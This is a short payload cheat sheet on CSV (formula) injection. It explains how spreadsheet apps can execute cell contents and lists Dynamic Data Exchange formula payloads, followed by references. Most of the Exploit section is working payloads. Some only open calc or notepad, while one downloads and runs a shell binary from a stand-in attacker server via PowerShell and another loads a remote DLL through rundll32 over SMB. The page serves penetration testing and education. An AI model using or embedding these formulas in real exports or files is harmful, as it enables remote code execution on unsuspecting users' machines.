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# CSV Injection (Formula Injection)
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Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
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## Exploit
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Basic exploit with Dynamic Data Exchange
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```powershell
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# pop a calc
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DDE ("cmd";"/C calc";"!A0")A0
@SUM (1+1)*cmd|' /C calc'!A0
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=2+5+cmd|' /C calc'!A0
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# pop a notepad
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=cmd|' /C notepad'!'A1'
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# powershell download and execute
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=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
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# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
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```
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Technical Details of the above payload:
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- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
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Any formula can be started with
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```powershell
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=
+
–
@
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```
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## References
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* [OWASP - CSV Excel Macro Injection ](https://owasp.org/index.php/CSV_Excel_Macro_Injection )
* [Google Bug Hunter University - CSV Excel formula injection ](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection )
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* [Comma Separated Vulnerabilities - James Kettle ](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ )
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani ](https://payatu.com/csv-injection-basic-to-exploit/ )
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* [From CSV to Meterpreter - 5th November 2015 - Adam Chester ](https://blog.xpnsec.com/from-csv-to-meterpreter/ )
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy ](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf )
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer ](http://georgemauer.net/2017/10/07/csv-injection.html )